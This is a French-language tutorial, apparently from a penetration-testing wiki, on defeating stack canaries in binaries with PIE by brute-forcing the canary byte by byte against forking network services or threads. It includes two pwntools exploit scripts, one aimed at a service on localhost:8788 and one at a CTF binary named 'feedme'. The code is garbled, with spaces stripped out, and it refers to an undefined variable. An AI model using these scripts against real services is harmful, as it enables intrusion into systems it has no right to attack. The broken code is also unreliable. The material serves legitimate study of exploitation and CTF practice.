Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.
Notez que checksec pourrait ne pas détecter qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est sauvegardée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
Brute force du canari
La meilleure façon de contourner un canari simple est si le binaire est un programme créant des processus enfants à chaque fois que vous établissez une nouvelle connexion avec lui (service réseau), car chaque fois que vous vous connectez à lui, le même canari sera utilisé.
Ainsi, la meilleure façon de contourner le canari est simplement de le forcer brutalement caractère par caractère, et vous pouvez déterminer si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction force brutalement un canari de 8 octets (x64) et distingue entre un byte deviné correct et un mauvais byte en vérifiant simplement si une réponse est renvoyée par le serveur (dans une autre situation, on pourrait utiliser un try/except):
Exemple 1
Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.
from pwn import*defconnect():r =remote("localhost", 8788)defget_bf(base):canary =""guess =0x0base += canarywhilelen(canary)<8:while guess !=0xff:r =connect()r.recvuntil("Username: ")r.send(base +chr(guess))if"SOME OUTPUT"in r.clean():print"Guessed correct byte:",format(guess, '02x')canary +=chr(guess)base +=chr(guess)guess =0x0r.close()breakelse:guess +=1r.close()print"FOUND:\\x"+'\\x'.join("{:02x}".format(ord(c)) for c in canary)return basecanary_offset =1176base ="A"* canary_offsetprint("Brute-Forcing canary")base_canary =get_bf(base)#Get yunk data + canaryCANARY =u64(base_can[len(base_canary)-8:])#Get the canary
Exemple 2
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.
Notez également que pour cet exemple, le programme attend d'abord un octet pour indiquer la taille de l'entrée et de la charge utile.
from pwn import*# Here is the function to brute force the canarydefbreakCanary():known_canary =b""test_canary =0x0len_bytes_to_read =0x21for j inrange(0, 4):# Iterate up to 0xff times to brute force all posible values for bytefor test_canary inrange(0xff):print(f"\rTrying canary: {known_canary}{test_canary.to_bytes(1, 'little')}", end="")# Send the current input sizetarget.send(len_bytes_to_read.to_bytes(1, "little"))# Send this iterations canarytarget.send(b"0"*0x20+ known_canary + test_canary.to_bytes(1, "little"))# Scan in the output, determine if we have a correct valueoutput = target.recvuntil(b"exit.")ifb"YUM"in output:# If we have a correct value, record the canary value, reset the canary value, and move onprint(" - next byte is: "+hex(test_canary))known_canary = known_canary + test_canary.to_bytes(1, "little")len_bytes_to_read +=1break# Return the canaryreturn known_canary# Start the target processtarget =process('./feedme')#gdb.attach(target)# Brute force the canarycanary =breakCanary()log.info(f"The canary is: {canary}")
Threads
Les threads du même processus partageront également le même jeton canary, il sera donc possible de brute-force un canary si le binaire crée un nouveau thread à chaque attaque.